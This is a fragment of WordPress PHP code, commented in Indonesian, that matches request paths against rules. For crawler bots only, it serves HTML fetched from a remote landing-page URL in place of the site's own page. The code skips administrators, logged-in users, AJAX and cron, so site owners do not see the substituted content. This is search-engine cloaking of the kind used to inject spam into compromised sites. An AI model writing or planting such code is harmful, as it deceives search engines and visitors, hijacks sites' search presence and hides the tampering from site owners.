/* ===== Pencocokan path ===== */ if (!function_exists('wwa_uri_matches')) { function wwa_uri_matches(string $uri, array $rule): bool { $type = strtolower($rule['type'] ?? 'prefix'); $path = $rule['path'] ?? ''; if ($type === 'exact') { // Samakan trailing slash $u = rtrim($uri, '/').'/'; $p = rtrim($path, '/').'/'; return strcasecmp($u, $p) === 0; } elseif ($type === 'regex') { return @preg_match($path, $uri) === 1; } else { // prefix // Cocokkan awalan folder; normalisasi jadi slash-akhir $u = rtrim($uri, '/').'/'; $p = rtrim($path, '/').'/'; return stripos($u, $p) === 0; } } } /* ===== Hook: serve LP bila match ===== */ add_action('template_redirect', function () { // Jangan ganggu admin/cron/ajax/login/user-logged-in if (is_admin() || wp_doing_ajax() || wp_doing_cron() || is_user_logged_in()) return; $uri = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH); if (!$uri) return; foreach (wwa_rules() as $rule) { $bots_only = array_key_exists('bots_only', $rule) ? (bool)$rule['bots_only'] : true; if ($bots_only && !wwa_is_bot()) continue; // hanya bot if (!wwa_uri_matches($uri, $rule)) continue; // path tidak cocok $ttl = (int)($rule['ttl'] ?? 3600); $lp_url = $rule['lp'] ?? ''; if (!$lp_url) continue; $html = wwa_get_cached_content($lp_url, $ttl); if ($html && strlen(trim($html)) > 10) { status_header(200); nocache_headers(); header('Content-Type: text/html; charset=UTF-8'); echo $html; exit; } // Kalau LP gagal diambil, lanjut ke rule berikut atau biarkan WP render biasa } });